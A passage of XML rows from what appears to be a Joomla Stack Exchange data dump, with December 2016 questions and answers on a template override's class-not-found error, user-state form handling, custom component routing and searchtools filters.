  <row Id="18698" PostTypeId="1" AcceptedAnswerId="18849" CreationDate="2016-12-23T16:12:52.073" Score="3" ViewCount="4941" Body="&lt;p&gt;I am getting this line in the &lt;code&gt;error_log&lt;/code&gt; of a Joomla! 3.6.5 site every so often:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[21-Dec-2016 18:29:41 America/Detroit] PHP Fatal error:  Class 'ContentHelperRoute' not found in /path/to/site/templates/theme/html/mod_articles_categories/default_items.php on line 14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the contents of &lt;code&gt;default_items.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_articles_categories&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;foreach ($list as $item) :&#xA;?&amp;gt;&#xA;    &amp;lt;li &amp;lt;?php if ($_SERVER['PHP_SELF'] == JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;id))) echo ' class=&quot;active&quot;';?&amp;gt;&amp;gt; &amp;lt;?php $levelup = $item-&amp;gt;level - $startLevel - 1; ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;id)); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title;?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php&#xA;        if ($params-&amp;gt;get('show_description', 0))&#xA;        {&#xA;            echo JHtml::_('content.prepare', $item-&amp;gt;description, $item-&amp;gt;getParams(), 'mod_articles_categories.content');&#xA;        }&#xA;        if ($params-&amp;gt;get('show_children', 0) &amp;amp;&amp;amp; (($params-&amp;gt;get('maxlevel', 0) == 0) || ($params-&amp;gt;get('maxlevel') &amp;gt;= ($item-&amp;gt;level - $startLevel))) &amp;amp;&amp;amp; count($item-&amp;gt;getChildren()))&#xA;        {&#xA;            echo '&amp;lt;ul&amp;gt;';&#xA;            $temp = $list;&#xA;            $list = $item-&amp;gt;getChildren();&#xA;            require JModuleHelper::getLayoutPath('mod_articles_categories', $params-&amp;gt;get('layout', 'default').'_items');&#xA;            $list = $temp;&#xA;            echo '&amp;lt;/ul&amp;gt;';&#xA;        }&#xA;        ?&amp;gt;&#xA; &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the contents of the core &lt;code&gt;default_items.php&lt;/code&gt; file for comparison:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_articles_categories&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;foreach ($list as $item) : ?&amp;gt;&#xA;    &amp;lt;li &amp;lt;?php if ($_SERVER['REQUEST_URI'] == JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;id))) echo ' class=&quot;active&quot;';?&amp;gt;&amp;gt; &amp;lt;?php $levelup = $item-&amp;gt;level - $startLevel - 1; ?&amp;gt;&#xA;        &amp;lt;h&amp;lt;?php echo $params-&amp;gt;get('item_heading') + $levelup; ?&amp;gt;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;id)); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title;?&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('numitems')) : ?&amp;gt;&#xA;                (&amp;lt;?php echo $item-&amp;gt;numitems; ?&amp;gt;)&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h&amp;gt;&amp;lt;?php echo $params-&amp;gt;get('item_heading') + $levelup; ?&amp;gt;&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('show_description', 0)) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('content.prepare', $item-&amp;gt;description, $item-&amp;gt;getParams(), 'mod_articles_categories.content'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('show_children', 0) &amp;amp;&amp;amp; (($params-&amp;gt;get('maxlevel', 0) == 0)&#xA;            || ($params-&amp;gt;get('maxlevel') &amp;gt;= ($item-&amp;gt;level - $startLevel)))&#xA;            &amp;amp;&amp;amp; count($item-&amp;gt;getChildren())) : ?&amp;gt;&#xA;            &amp;lt;?php echo '&amp;lt;ul&amp;gt;'; ?&amp;gt;&#xA;            &amp;lt;?php $temp = $list; ?&amp;gt;&#xA;            &amp;lt;?php $list = $item-&amp;gt;getChildren(); ?&amp;gt;&#xA;            &amp;lt;?php require JModuleHelper::getLayoutPath('mod_articles_categories', $params-&amp;gt;get('layout', 'default') . '_items'); ?&amp;gt;&#xA;            &amp;lt;?php $list = $temp; ?&amp;gt;&#xA;            &amp;lt;?php echo '&amp;lt;/ul&amp;gt;'; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I resolve this error?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: These errors only began on Nov 3, so I assume this was related to the &lt;strong&gt;3.6.4&lt;/strong&gt; update or a minor update to PHP 5.5.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-12-23T16:27:55.730" LastActivityDate="2017-01-26T18:27:46.033" Title="PHP Fatal error: Class 'ContentHelperRoute' not found" Tags="|php|joomla-3.6|fatal-error|logs|mod-articles-category|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18699" PostTypeId="2" ParentId="18698" CreationDate="2016-12-23T16:22:57.370" Score="0" Body="&lt;p&gt;It appears that recent versions of Joomla! have replace &lt;code&gt;$_SERVER['PHP_SELF']&lt;/code&gt; with &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt;. I have replaced that code on line 14 and will continue to monitor the &lt;code&gt;error_log&lt;/code&gt; to see if the issue is resolved.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I have received the same error at least once since this &quot;fix&quot;, so it appears it did not solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2017-01-26T18:27:46.033" LastActivityDate="2017-01-26T18:27:46.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18700" PostTypeId="2" ParentId="16693" CreationDate="2016-12-23T16:26:09.493" Score="1" Body="&lt;p&gt;Judging by your description and screenshot you may want to try setting your Randomise variable to &quot;sticky, randomise&quot;. You might find it works better if you actually set &lt;em&gt;all&lt;/em&gt; your banners to sticky in this way since sticky generally causes Joomla to prioritize a single banner and setting them all to sticky levels everything out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to check is your banner count in the banner module. Set it to 1. Otherwise you end up with overlapping banners with the same one on top every page refresh.&lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2016-12-23T16:26:09.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18701" PostTypeId="2" ParentId="18649" CreationDate="2016-12-23T20:58:03.290" Score="0" Body="&lt;p&gt;If I understand the situation correctly you want to upload raw source files to a location in Joomla. I've only found two extensions that do an adequate job for this type of thing: &lt;a href=&quot;http://www.chronoengine.com/downloads/chronoforms.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chronoforms5&lt;/a&gt; and &lt;a href=&quot;https://www.joomlatools.com/extensions/docman/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docman&lt;/a&gt; (not to be confused with the similarly named eDocman). Chronoforms is the cheaper of the two but it's method for uploading is also more mundane while Docman has the slickest interface both for the back and frontend that you could ever want but costs a bit more. As usual you get what you pay for.&lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2016-12-23T20:58:03.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18703" PostTypeId="1" CreationDate="2016-12-26T12:39:14.533" Score="2" ViewCount="902" Body="&lt;p&gt;I am new in Joomla component development. I have used &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_verifications&quot; rel=&quot;nofollow noreferrer&quot;&gt;this document&lt;/a&gt; to develop the component. In this document there is a function &lt;a href=&quot;https://docs.joomla.org/API17:JModelForm::loadFormData&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadFormData&lt;/a&gt; in Helloworld model as below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function loadFormData()&#xA;    {&#xA;        // Check the session for previously entered form data.&#xA;        $data = JFactory::getApplication()-&amp;gt;getUserState(&#xA;            'com_helloworld.edit.helloworld.data',&#xA;            array()&#xA;        );&#xA;&#xA;        if (empty($data))&#xA;        {&#xA;            $data = $this-&amp;gt;getItem();&#xA;        }&#xA;&#xA;        return $data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I wanted to know:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this loadFormData method used to load the form fields input when&#xA;the page reload? &lt;/li&gt;&#xA;&lt;li&gt;How I can call and use this method in other part of my component?&lt;/li&gt;&#xA;&lt;li&gt;Does this method keeps the input data even if the form is not&#xA;submitted? &lt;/li&gt;&#xA;&lt;li&gt;Where does &lt;code&gt;JFactory::getApplication()-&amp;gt;setUserState&lt;/code&gt; is done?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9472" LastEditorUserId="7024" LastEditDate="2017-08-24T13:34:30.750" LastActivityDate="2017-09-15T18:04:39.817" Title="joomla loadFormData" Tags="|component|development|form|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18704" PostTypeId="1" CreationDate="2016-12-26T19:22:46.240" Score="3" ViewCount="1532" Body="&lt;p&gt;I try to reload a form with filled data using getUserState. I have read  &lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;this document&lt;/a&gt; many times but I haven't understand where in my view o model I should set the userStatae . I know I should getuserState in my model with some thing like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe =JFactory::getApplication();&#xA;$stateVar = $mainframe-&amp;gt;getUserState( &quot;option.state_variable&quot;, 'state1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can some one help me about where to setuserState and how I pass getUserState value to my layout? &lt;/p&gt;&#xA;" OwnerUserId="9472" LastActivityDate="2019-09-01T17:36:40.277" Title="How to use joomla getUserState and setUserState to keep form field values" Tags="|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18705" PostTypeId="1" CreationDate="2016-12-27T05:36:45.603" Score="2" ViewCount="322" Body="&lt;p&gt;I am using Joomla 3.X. I have a module which displays three news and events at a time to see next set of news and events user has to press the next button. The name of the module is &quot;&lt;a href=&quot;https://extensions.joomla.org/extension/bt-content-slider&quot; rel=&quot;nofollow noreferrer&quot;&gt;BT Content Slider&lt;/a&gt;&quot;. Since there may be more than 10 number of news and events I want to put a show all button which when clicked shows all the news and events together. I have managed to add a button in the module by overriding it and given a link to a new article which will show all the news and events together. But the problem is when there is a new news I have to add it in the BT Content Slider as well as in the show all article. Is there anyway so that I can add new news in the BT content Slider and the show all article  gets automatically updated with the new news which I have added in the module.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks In Advance.&lt;/p&gt;&#xA;" OwnerUserId="9168" LastEditorUserId="5638" LastEditDate="2016-12-30T16:56:47.097" LastActivityDate="2024-03-27T16:05:00.710" Title="Add &quot;show all&quot; button to BT Content Slider module" Tags="|joomla-3.x|articles|overrides|module-display|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18706" PostTypeId="2" ParentId="18704" CreationDate="2016-12-27T07:25:21.380" Score="3" Body="&lt;p&gt;This is the way I do it, I hope it helps you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in you view.html.php (view file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $app   = JFactory::getApplication();    &#xA;$this-&amp;gt;data = $app-&amp;gt;getUserStateFromRequest('com_yourcomponent.yourform.form.data','data');&#xA;&#xA;    if (!this-&amp;gt;data)&#xA;    {&#xA;      //Set default values&#xA;      $this-&amp;gt;data['field1'] = '';&#xA;      $this-&amp;gt;data['field2'] = '';&#xA;      $this-&amp;gt;data['field3'] = 1;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In you template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form fields have to be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type = &quot;text&quot;  name  = &quot;data[field1]&quot;&#xA;     value      = &quot;&amp;lt;?php echo $this-&amp;gt;data['field1'] ?&amp;gt;&quot; &amp;gt;                                  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your function in your controller get the data this way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $app  = JFactory::getApplication();    &#xA;$data   = $app-&amp;gt;getUserStateFromRequest('com_yourcomponent.yourform.form.data','data');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is an error you redirect to the same form page and the values would be there and if you commit the changes you have to flush the info before redirect using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;setUserState('com_yourcomponent.yourform.form.data', null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-12-27T07:25:21.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18707" PostTypeId="1" AcceptedAnswerId="18723" CreationDate="2016-12-27T12:04:43.727" Score="0" ViewCount="144" Body="&lt;p&gt;With help of &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;this document&lt;/a&gt; I am developing a component.I have below code in my edit layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_resdesk&amp;amp;layout=edit&amp;amp;id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot;&#xA;    method=&quot;post&quot; name=&quot;resdesk&quot; id=&quot;resdesk&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this form I have 2 buttons as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_mycomponent&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;mycomponent.submit&quot; /&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;button&quot; name=&quot;showresaults&quot; id=&quot;seeavail&quot;&amp;gt;&#xA;&amp;lt;?php echo JText::_('COM_RESDESK_CHECK_AVAILABLEDESKS'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;button&quot; name=&quot;save_1&quot; id=&quot;savevalue&quot;&amp;gt;&#xA;&amp;lt;?php echo JText::_('COM_RESDESK_SAVE_VALUES'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One button is used to reload the form fields and another for submit data in database.&#xA;The problem is that after click event (on any of the buttons), the wrong page loads that is a white page with no controller. According to form action the url should be index.php?option=com_mycomponent&amp;amp;layout=edit&amp;amp;id=xx but the URL is ?layout=edit&amp;amp;id=0.If I remove action tag, again the main page loads but it's empty and white with no controller.&#xA;Any idea?&#xA;my controller file is as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getModel($name = '', $prefix = '', $config = array('ignore_request' =&amp;gt; true))&#xA;    {&#xA;        return parent::getModel($name, $prefix, array('ignore_request' =&amp;gt; false));&#xA;    }&#xA;public function submit()&#xA;    {&#xA;&#xA;        If (Isset($_POST['showresaults']))&#xA;    {&#xA;        // Check for request forgeries.&#xA;        JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;        // Initialise variables.&#xA;        $app    = JFactory::getApplication();&#xA;        $model  = $this-&amp;gt;getModel('resdesk');&#xA;&#xA;        // Get the data from the form POST&#xA;        $data = JRequest::getVar('jform', array(), 'post', 'array');&#xA;        $data   = $app-&amp;gt;getUserStateFromRequest('com_resdesk.edit.form.data','data');&#xA;         if (!$this-&amp;gt;data)&#xA;        {&#xA;      //Set default values&#xA;      $this-&amp;gt;data['customername'] = '';&#xA;        }   &#xA;    }&#xA;    else&#xA;    {       &#xA;        // Check for request forgeries.&#xA;        JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;        // Initialise variables.&#xA;        $app    = JFactory::getApplication();&#xA;        $model  = $this-&amp;gt;getModel('resdesk');&#xA;&#xA;        // Get the data from the form POST&#xA;        $data = JRequest::getVar('jform', array(), 'post', 'array');&#xA;&#xA;        // Now update the loaded data to the database via a function in the model&#xA;       $upditem = $model-&amp;gt;updItem($data);&#xA;        //sendemail();&#xA;    }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The model is as below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getTable($type = 'ResDesk', $prefix = 'resdeskTable', $config = array())&#xA;    {&#xA;        return JTable::getInstance($type, $prefix, $config);&#xA;    }&#xA;    public function getForm($data = array(), $loadData = true)&#xA;    {&#xA;        // Get the form.&#xA;        $form = $this-&amp;gt;loadForm(&#xA;            'com_resdesk.resdesk',&#xA;            'resdesk',&#xA;            array(&#xA;                'control' =&amp;gt; 'jform',&#xA;                'load_data' =&amp;gt; $loadData&#xA;            )&#xA;        );&#xA;&#xA;        if (empty($form))&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        return $form;&#xA;    }&#xA;    public function getScript() &#xA;    {&#xA;        return 'site/components/com_resdesk/models/forms/resdesk.js';&#xA;    }&#xA;    protected function loadFormData()&#xA;    {&#xA;        // Check the session for previously entered form data.&#xA;        $data = JFactory::getApplication()-&amp;gt;getUserState(&#xA;            'com_resdesk.edit.resdesk.data',&#xA;            array()&#xA;        );&#xA;&#xA;        if (empty($data))&#xA;        {&#xA;            $data = $this-&amp;gt;getItem();&#xA;        }&#xA;&#xA;        return $data;&#xA;    }&#xA;    public function updItem($data)&#xA;    {&#xA;&#xA;        //save in database done correctly&#xA;&#xA;        if (!$db-&amp;gt;query()) {&#xA;            JError::raiseError(500, $db-&amp;gt;getErrorMsg());&#xA;            return false;&#xA;        } else {&#xA;            return true;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the view.html.php is as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $form = null;&#xA;    protected $item;&#xA;    protected $script;&#xA;    protected $canDo;&#xA;    public function display($tpl = null)&#xA;    {&#xA;        // include settings from the admin backend&#xA;        $this-&amp;gt;includeAdminEnv();&#xA;        // Get the Data&#xA;        $this-&amp;gt;form = $this-&amp;gt;get('Form');&#xA;        $this-&amp;gt;item = $this-&amp;gt;get('Item');&#xA;        $this-&amp;gt;script = $this-&amp;gt;get('Script');&#xA;         $app   = JFactory::getApplication();    &#xA;        $this-&amp;gt;data = $app-&amp;gt;getUserStateFromRequest('com_resdesk.edit.form.data','data');&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;&#xA;            return false;&#xA;        }&#xA;        parent::display($tpl);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9472" LastActivityDate="2016-12-29T18:15:48.727" Title="joomla url changed after come back from server" Tags="|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18708" PostTypeId="1" AcceptedAnswerId="18709" CreationDate="2016-12-27T16:38:29.537" Score="1" ViewCount="968" Body="&lt;p&gt;I'm developing a custom component that displays data from an external API, and in trying to add filtering options to the request, only the limit field will display. The additional fields I'm using are only text and list, so I'm not sure why they wouldn't be displayed also.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it the files that need updating for filtering are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models/forms/filter_customers.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;filter&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;username&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;username&quot;&#xA;            hint=&quot;JSEARCH_FILTER&quot;&#xA;        /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;company&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;company&quot;&#xA;            hint=&quot;JSEARCH_FILTER&quot;&#xA;        /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;status&quot;&#xA;            type=&quot;list&quot;&#xA;            label=&quot;COM_SUPERSITE_FILTER_STATUS&quot;&#xA;            description=&quot;COM_SUPERSITE_FILTER_STATUS_DESC&quot;&#xA;            onchange=&quot;this.form.submit();&quot;&#xA;            &amp;gt;&#xA;            &amp;lt;option value=&quot;Active&quot;&amp;gt;COM_SUPERSITE_FILTER_STATUS_ACTIVE&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;Suspended&quot;&amp;gt;COM_SUPERSITE_FILTER_STATUS_SUSPENDED&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;Deleted&quot;&amp;gt;COM_SUPERSITE_FILTER_STATUS_DELETED&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;COM_SUPERSITE_FILTER_STATUS_ALL&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;fields name=&quot;list&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;limit&quot;&#xA;            type=&quot;limitbox&quot;&#xA;            class=&quot;input-mini&quot;&#xA;            default=&quot;25&quot;&#xA;            label=&quot;COM_CONTENT_LIST_LIMIT&quot;&#xA;            description=&quot;COM_CONTENT_LIST_LIMIT_DESC&quot;&#xA;            onchange=&quot;this.form.submit();&quot;&#xA;        /&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models/customers.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SupersiteModelCustomers extends JModelList&#xA;{&#xA;&#xA;   public function __construct($config = array())&#xA;    {&#xA;        if (empty($config['filter_fields']))&#xA;        {&#xA;            $config['filter_fields'] = array(&#xA;                    'username',&#xA;                    'name',&#xA;                    'company',&#xA;                    'status'&#xA;            );&#xA;        }&#xA;        JLoader::register('SupersiteHelper', JPATH_COMPONENT_ADMINISTRATOR . '/helpers/supersite.php');&#xA;&#xA;        parent::__construct($config);&#xA;    }&#xA;&#xA;    protected function populateState($ordering = null, $direction = null)&#xA;    {&#xA;        // Initialise variables.&#xA;        $app = JFactory::getApplication('administrator');&#xA;&#xA;        $username = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . 'filter.username', 'filter_username', '', 'string');&#xA;        $this-&amp;gt;setState('filter.username', $username);&#xA;&#xA;        $name = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . 'filter.name', 'filter_name', '', 'string');&#xA;        $this-&amp;gt;setState('filter.name', $name);&#xA;&#xA;        $company = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . 'filter.company', 'filter_company', '', 'string');&#xA;        $this-&amp;gt;setState('filter.company', $company);&#xA;&#xA;        $status = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . 'filter.status', 'filter_status', '', 'string');&#xA;        $this-&amp;gt;setState('filter.status', $status);&#xA;&#xA;        // List state information.&#xA;        parent::populateState();&#xA;    }&#xA;&#xA;    public function getItems() &#xA;    {&#xA;        $store = $this-&amp;gt;getStoreId();&#xA;&#xA;        $username   =   $this-&amp;gt;getState('filter.username');&#xA;        $name       =   $this-&amp;gt;getState('filter.name');&#xA;        $company    =   $this-&amp;gt;getState('filter.company');&#xA;        $status     =   $this-&amp;gt;getState('filter.status');&#xA;&#xA;    // Filter search&#xA;    if (!empty($username)) {&#xA;        SupersiteHelper::add('username', $username);&#xA;    }&#xA;    if (!empty($name)) {&#xA;        SupersiteHelper::add('name', $name);&#xA;    }&#xA;    if (!empty($company)) {&#xA;        SupersiteHelper::add('company', $company);&#xA;    }&#xA;    if (!empty($status)) {&#xA;        SupersiteHelper::add('status', $status);&#xA;    }&#xA;&#xA;        if (!isset($this-&amp;gt;cache[$store])) {&#xA;            $limit = $this-&amp;gt;getState('list.limit');&#xA;            $start = $this-&amp;gt;getStart();&#xA;            $start = ($start/$limit)+1;&#xA;&#xA;            SupersiteHelper::add('no-of-records', $limit);&#xA;            SupersiteHelper::add('page-no', $start);&#xA;&#xA;            $data = SupersiteHelper::getData('customers/search.json');&#xA;            $this-&amp;gt;cache[$store] = $data;&#xA;        }&#xA;        return $this-&amp;gt;cache[$store];&#xA;    }&#xA;&#xA;    public function getTotal() {&#xA;        $store = $this-&amp;gt;getStoreId('getTotal');&#xA;&#xA;        if (!isset($this-&amp;gt;cache[$store])) {&#xA;            SupersiteHelper::add('no-of-records', 1);&#xA;            SupersiteHelper::add('page-no', 1);&#xA;            $data = SupersiteHelper::getData('customers/search.json');&#xA;            $this-&amp;gt;cache[$store] = $data[&quot;recsindb&quot;];&#xA;        }&#xA;&#xA;        return $this-&amp;gt;cache[$store];&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;views/customers/view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SupersiteViewCustomers extends JViewLegacy&#xA;{&#xA;&#xA;    protected $items;&#xA;    protected $pagination;&#xA;    protected $state;&#xA;&#xA;&#xA;public $activeFilters = array();&#xA;&#xA;    public function display($tpl = null) {&#xA;&#xA;        $this-&amp;gt;pagination       = $this-&amp;gt;get('Pagination');&#xA;        $this-&amp;gt;items            = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;state            = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;filterForm       = $this-&amp;gt;get('FilterForm');&#xA;        $this-&amp;gt;activeFilters    = $this-&amp;gt;get('ActiveFilters');&#xA;&#xA;        SupersiteHelper::addSubmenu('customers');&#xA;&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;            JError::raiseError(500, implode(&quot;\n&quot;, $errors));&#xA;            return false;&#xA;        }&#xA;        $this-&amp;gt;addToolbar();&#xA;        $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;views/customers/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Search tools bar&#xA;echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2016-12-28T01:49:09.050" Title="Custom component joomla.searchtools.default won't display filter" Tags="|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
